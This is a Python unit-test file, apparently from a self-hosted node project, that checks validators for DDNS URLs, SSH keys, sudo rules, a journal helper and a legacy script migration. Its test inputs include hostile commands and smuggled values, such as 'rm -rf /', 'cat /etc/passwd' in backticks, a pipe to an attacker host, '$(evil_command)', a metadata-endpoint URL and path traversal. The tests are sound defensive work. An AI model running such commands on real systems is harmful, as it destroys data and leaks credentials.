_validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
def test_raw_ip_host_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
def test_non_standard_port_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
def test_control_character_newline_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
def test_control_character_null_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
def test_percent_encoded_null_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
def test_localhost_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://localhost/update/?k=TOKEN")
def test_127_0_0_1_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
def test_arbitrary_public_hostname_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://example.com/update/?k=TOKEN")
def test_attacker_host_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
def test_metadata_endpoint_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
def test_empty_url_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("")
def test_too_long_rejected(self):
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
with self.assertRaises(ValueError):
_validate_ddns_url(long_url)
def test_allowed_hostnames_set(self):
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
def test_dollar_expression_rejected(self):
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
def test_wrong_path_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
def test_exact_update_path_accepted(self):
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
self.assertEqual(_validate_ddns_url(url), url)
# ---------------------------------------------------------------------------
# SSH public-key validation
# ---------------------------------------------------------------------------
class TestSshPubkeyValidation(unittest.TestCase):
"""_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
VALID_ED25519 = (
"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
)
def test_valid_ed25519_accepted(self):
result = _validate_ssh_pubkey(self.VALID_ED25519)
self.assertEqual(result, self.VALID_ED25519)
def test_unsupported_algorithm_rsa_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
def test_dss_algorithm_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
def test_multiline_injection_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
def test_options_prefix_not_accepted(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
def test_empty_key_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("")
def test_control_character_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
def test_malformed_base64_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
def test_too_short_payload_rejected(self):
short_b64 = base64.b64encode(b"\x00" * 10).decode()
with self.assertRaises(ValueError):
_validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
def test_missing_key_body_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-ed25519")
# ---------------------------------------------------------------------------
# Auth-exempt paths
# ---------------------------------------------------------------------------
class TestAuthExemptPaths(unittest.TestCase):
"""/api/reboot and status endpoints must not be in the auth-exempt set."""
def _get_exempt_paths(self):
import re
src = open(
os.path.join(_REPO_ROOT, "app", "sovran_systemsos_web", "server.py")
).read()
m = re.search(r"_AUTH_EXEMPT_PATHS\s*=\s*\{([^}]*)\}", src)
self.assertIsNotNone(m, "_AUTH_EXEMPT_PATHS not found in server.py")
return {p.strip().strip('"') for p in m.group(1).split(",") if p.strip().strip('"')}
def test_reboot_not_exempt(self):
self.assertNotIn("/api/reboot", self._get_exempt_paths())
def test_updates_status_not_exempt(self):
self.assertNotIn("/api/updates/status", self._get_exempt_paths())
def test_rebuild_status_not_exempt(self):
self.assertNotIn("/api/rebuild/status", self._get_exempt_paths())
def test_login_still_exempt(self):
self.assertIn("/api/login", self._get_exempt_paths())
def test_ping_still_exempt(self):
self.assertIn("/api/ping", self._get_exempt_paths())
# ---------------------------------------------------------------------------
# tech-support.nix validation
# ---------------------------------------------------------------------------
class TestTechSupportSudoRules(unittest.TestCase):
"""tech-support.nix must not grant broad privileges."""
def _get_nix_content(self):
path = os.path.join(_REPO_ROOT, "modules", "core", "tech-support.nix")
with open(path) as f:
return f.read()
def test_no_nano_custom_nix(self):
self.assertNotIn("nano /etc/nixos/custom.nix", self._get_nix_content())
def test_no_nano_configuration_nix(self):
self.assertNotIn("nano /etc/nixos/configuration.nix", self._get_nix_content())
def test_no_unrestricted_nixos_rebuild(self):
self.assertNotIn("nixos-rebuild switch", self._get_nix_content())
def test_no_wildcard_systemctl_restart(self):
self.assertNotIn("systemctl restart *", self._get_nix_content())
def test_journalctl_wildcard_removed(self):
"""The bare 'journalctl *' sudo rule must be gone."""
content = self._get_nix_content()
self.assertNotIn('"/run/current-system/sw/bin/journalctl *"', content)
self.assertNotIn("journalctl *", content.replace("journal-helper", ""))
def test_journal_helper_referenced(self):
"""The restricted journal helper must be referenced instead."""
content = self._get_nix_content()
self.assertIn("sovran-journal-helper", content)
def test_sovran_hub_web_service_referenced(self):
"""tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
content = self._get_nix_content()
self.assertIn("sovran-hub-web.service", content)
self.assertNotIn('"sovran-hub.service"', content)
# ---------------------------------------------------------------------------
# Journal helper — unit allowlist validation
# ---------------------------------------------------------------------------
class TestJournalHelper(unittest.TestCase):
"""The restricted journal helper must enforce the explicit unit allowlist."""
def _run_helper(self, args):
"""Run the helper script and return (returncode, stderr)."""
import subprocess
helper = os.path.join(_REPO_ROOT, "modules", "core", "sovran-journal-helper.py")
result = subprocess.run(
[sys.executable, helper] + args,
capture_output=True, text=True,
)
return result.returncode, result.stderr
# ── Allowlisted units ──
def test_sovran_hub_web_accepted(self):
rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
self.assertNotIn("rejected", stderr)
def test_caddy_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service"])
self.assertNotIn("rejected", stderr)
def test_bitcoind_accepted(self):
rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
self.assertNotIn("rejected", stderr)
def test_lnd_accepted(self):
rc, stderr = self._run_helper(["--unit", "lnd.service"])
self.assertNotIn("rejected", stderr)
# ── Rejected units ──
def test_unapproved_service_rejected(self):
rc, stderr = self._run_helper(["--unit", "sshd.service"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_old_sovran_hub_service_rejected(self):
"""The old nonexistent sovran-hub.service must now be rejected."""
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_directory_flag_rejected(self):
rc, stderr = self._run_helper(["--directory", "/var/log"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_arbitrary_path_rejected(self):
rc, stderr = self._run_helper(["/etc/passwd"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_file_flag_rejected(self):
rc, stderr = self._run_helper(["--file", "/var/log/journal/foo"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_no_args_rejected(self):
"""Whole-journal queries (no --unit) must be rejected."""
rc, stderr = self._run_helper([])
self.assertNotEqual(rc, 0)
# Should mention --unit requirement
self.assertIn("unit", stderr.lower())
def test_lines_only_no_unit_rejected(self):
"""--lines without --unit is a whole-journal query and must be rejected."""
rc, stderr = self._run_helper(["--lines", "50"])
self.assertNotEqual(rc, 0)
def test_lines_flag_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
self.assertNotIn("rejected", stderr)
def test_lines_too_large_rejected(self):
rc, stderr = self._run_helper(["--lines", "99999"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_negative_lines_rejected(self):
rc, stderr = self._run_helper(["--lines", "-1"])
self.assertNotEqual(rc, 0)
def test_since_with_valid_date_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service", "--since", "2024-01-01"])
self.assertNotIn("rejected", stderr)
def test_since_with_path_rejected(self):
rc, stderr = self._run_helper(["--since", "/etc/passwd"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_output_short_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service", "--output", "short"])
self.assertNotIn("rejected", stderr)
def test_output_arbitrary_rejected(self):
rc, stderr = self._run_helper(["--output", "export --to /tmp/out"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_invalid_unit_name_rejected(self):
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_unit_without_suffix_rejected(self):
rc, stderr = self._run_helper(["--unit", "caddy"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
# ---------------------------------------------------------------------------
# Legacy Njalla migration — production-backed tests
# ---------------------------------------------------------------------------
class TestNjallaLegacyMigration(unittest.TestCase):
"""migrate_legacy_njalla_script must not execute or preserve malicious content.
All tests call the exact production implementation from support_ops with
temporary files; no logic is duplicated here.
"""
def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
"""Run the production migration against temp files, return (urls, script_archived)."""
captured_urls: list[str] = []
saved = [False]
def _load():
return []
def _save(urls):
captured_urls.extend(urls)
saved[0] = True
with tempfile.TemporaryDirectory() as tmpdir:
script_path = os.path.join(tmpdir, "njalla.sh")
with open(script_path, "w") as f:
f.write(script_content)
os.chmod(script_path, 0o755)
support_ops.migrate_legacy_njalla_script(
script_path,
_validate_ddns_url,
_save,
_load,
)
archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
return captured_urls, archived
def test_valid_unquoted_curl_line_extracted(self):
script = (
"#!/usr/bin/env bash\n"
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
)
urls, archived = self._run_migration(script)
self.assertEqual(len(urls), 1)
self.assertIn("njal.la", urls[0])
self.assertTrue(archived, "script should be archived after successful migration")
def test_valid_quoted_curl_line_extracted(self):
"""Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
script = (
"#!/usr/bin/env bash\n"
'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
)
urls, archived = self._run_migration(script)
self.assertEqual(len(urls), 1, "quoted URL must be extracted")
self.assertIn("njal.la", urls[0])
def test_command_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_backtick_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_pipe_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_dollar_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=$(evil_command)\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_non_njalla_url_not_extracted(self):
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_http_url_not_extracted(self):
script = "curl http://njal.la/update/?k=TOKEN\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_semicolons_in_url_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_newline_injection_not_extracted(self):
script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_malformed_quotes_not_extracted(self):
"""Half-open quote must not match."""
script = 'curl "https://njal.la/update/?k=TOKEN\n'
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_failed_persistence_leaves_script_untouched(self):
"""If save_fn raises, the script must NOT be archived."""
def _fail_save(urls):
raise OSError("disk full")
with tempfile.TemporaryDirectory() as tmpdir:
script_path = os.path.join(tmpdir, "njalla.sh")
script_content = (
"#!/usr/bin/env bash\n"
"curl https://njal.la/update/?h=test&k=TOKEN\n"
)
with open(script_path, "w") as f:
f.write(script_content)
os.chmod(script_path, 0o755)
support_ops.migrate_legacy_njalla_script(
script_path,
_validate_ddns_url,
_fail_save,
lambda: [],
)
# Script must still be executable (not archived)
mode = oct(os.stat(script_path).st_mode)[-3:]
self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
# ---------------------------------------------------------------------------
# Legacy root key removal — production-backed tests
# ---------------------------------------------------------------------------
class TestLegacyRootKeyRemoval(unittest.TestCase):
"""remove_legacy_root_key must remove only the exact historical key blob.
All tests call the exact production implementation from support_ops with
temporary files; no simulation is used.
"""
TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
def _do_removal(self, file_content: str) -> tuple[bool, str]:
"""Run production key removal, return (changed, result_content)."""
with tempfile.TemporaryDirectory() as tmpdir:
auth_keys = os.path.join(tmpdir, "authorized_keys")
with open(auth_keys, "w") as f:
f.write(file_content)
changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
with open(auth_keys) as f:
result = f.read()
return changed, result
def test_exact_historical_key_removed(self):
"""The exact historical key must be removed regardless of comment."""
lines = (
"ssh-ed25519 AAAA admin@host\n"
f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
"ssh-ed25519 CCCC another@host\n"
)
changed, result = self._do_removal(lines)
self.assertTrue(changed)
self.assertNotIn(self.TARGET_BLOB, result)
self.assertIn("admin@host", result)
self.assertIn("another@host", result)
def test_same_comment_different_blob_preserved(self):
"""A key with 'free@nixos' comment but different blob must NOT be removed."""
lines = (
"ssh-ed25519 DIFFERENTBLOB free@nixos\n"
)
changed, result = self._do_removal(lines)
self.assertFalse(changed)
self.assertIn("DIFFERENTBLOB", result)
def test_legacy_key_with_different_comment_removed(self):
"""The exact blob with any comment (or no comment) must be removed."""
lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
changed, result = self._do_removal(lines)
self.assertTrue(changed)
self.assertNotIn(self.TARGET_BLOB, result)
def test_unrelated_keys_preserved(self):
lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
changed, result = self._do_removal(lines)
self.assertFalse(changed)
self.assertEqual(result, lines)
def test_empty_file_unchanged(self):
changed, result = self._do_removal("")
self.assertFalse(changed)
self.assertEqual(result, "")
def test_comment_line_preserved(self):
lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
changed, result = self._do_removal(lines)
self.assertFalse(changed)
self.assertEqual(result, lines)
def test_missing_file_returns_false(self):
result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
self.assertFalse(result)
def test_audit_callback_called(self):
events = []
lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
with tempfile.TemporaryDirectory() as tmpdir:
auth_keys = os.path.join(tmpdir, "authorized_keys")
with open(auth_keys, "w") as f:
f.write(lines)
support_ops.remove_legacy_root_key(
auth_keys, self.TARGET_BLOB,
audit_fn=lambda event, details="": events.append(event),
)
self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
# ---------------------------------------------------------------------------
# Support session expiry — production-backed tests
# ---------------------------------------------------------------------------
class TestSupportSessionExpiration(unittest.TestCase):
"""expire_if_stale must enforce expiry and the session_id guard.
All tests call the exact production implementation from support_ops with
temporary files and injectable clock/disable functions.
"""
def _write_session(self, tmpdir, **fields) -> str:
status_file = os.path.join(tmpdir, "support-session-status")
with open(status_file, "w") as f:
json.dump(fields, f)
return status_file
def test_future_expiry_not_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_past_expiry_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_no_expiry_recent_session_not_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
result = support_ops.expire_if_stale(sf, clock_fn=time.time)
self.assertFalse(result)
def test_no_expiry_old_session_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_session_id_guard_matching_expires(self):
"""Timer with matching session_id must expire the session."""
import time
sid = "test-session-id"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=sid,
expected_expiry=exp,
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_stale_timer_does_not_revoke_replacement_session(self):
"""A timer for an old session must not revoke a newer replacement session."""
import time
old_sid = "old-session"
new_sid = "new-session"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
# Current session has the NEW session id
sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
disabled = [False]
# Timer fires with OLD session id
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=old_sid, # stale — doesn't match stored new_sid
expected_expiry=exp,
)
self.assertFalse(result, "stale timer must not revoke replacement session")
self.assertFalse(disabled[0])
def test_stale_expiry_mismatch_does_not_revoke(self):
"""A timer with mismatched expected_expiry must not revoke."""
import time
sid = "same-sid"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=sid,
expected_expiry=exp, # differs from stored exp+999
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_startup_reconciliation_with_live_session(self):
"""On startup, a live session must not be expired."""
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_audit_callback_receives_support_expired_event(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
events = []
support_ops.expire_if_stale(
sf,
clock_fn=time.time,
audit_fn=lambda event, details="": events.append(event),
)
self.assertIn("SUPPORT_EXPIRED", events)
def test_zero_enabled_at_not_expired(self):
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, enabled_at=0)
result = support_ops.expire_if_stale(sf)
self.assertFalse(result)
# ---------------------------------------------------------------------------
# Cron composition
# ---------------------------------------------------------------------------
class TestCronComposition(unittest.TestCase):
"""configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
def _get_config_content(self):
path = os.path.join(_REPO_ROOT, "configuration.nix")
with open(path) as f:
return f.read()
def test_cron_not_disabled(self):
"""services.cron.enable = false must not appear in configuration.nix."""
self.assertNotIn("services.cron.enable = false", self._get_config_content())
def test_sovran_ddns_update_timer_in_njalla(self):
"""The periodic Njalla updater must be the systemd timer, not a cron job."""
path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
with open(path) as f:
content = f.read()
self.assertIn("sovran-ddns-update", content)
self.assertNotIn("services.cron", content)
if __name__ == "__main__":
unittest.main()